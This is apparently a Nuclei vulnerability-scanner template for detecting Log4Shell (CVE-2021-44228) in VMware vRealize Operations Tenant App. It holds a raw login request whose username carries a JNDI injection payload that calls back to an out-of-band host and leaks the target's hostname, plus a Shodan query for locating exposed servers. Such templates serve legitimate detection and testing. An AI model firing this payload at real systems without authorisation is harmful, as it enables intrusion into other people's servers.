id: vrealize-operations-log4j-rce

info:
  name: VMware vRealize Operations Tenant App Log4j JNDI Remote Code Execution
  author: bughuntersurya
  severity: critical
  description: |
    VMware vRealize Operations is susceptible to a critical vulnerability in Apache Log4j which may allow remote code execution in an impacted vRealize Operations Tenant application.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2021-0028.html
    - https://core.vmware.com/vmsa-2021-0028-questions-answers-faq
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45046
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  metadata:
    verified: true
    shodan-query: http.title:"vRealize Operations Tenant App"
  tags: cve,cve2021,oast,rce,log4j,vmware,vrealize

requests:
  - raw:
      - |
        POST /suite-api/api/auth/token/acquire HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}
        Referer: {{RootURL}}/ui/

        {"username":"${jndi:ldap://${hostName}.{{interactsh-url}}}","password":"admin"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"  # Confirms the DNS Interaction

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable

    extractors:
      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output

# Enhanced by mp on 2022/04/05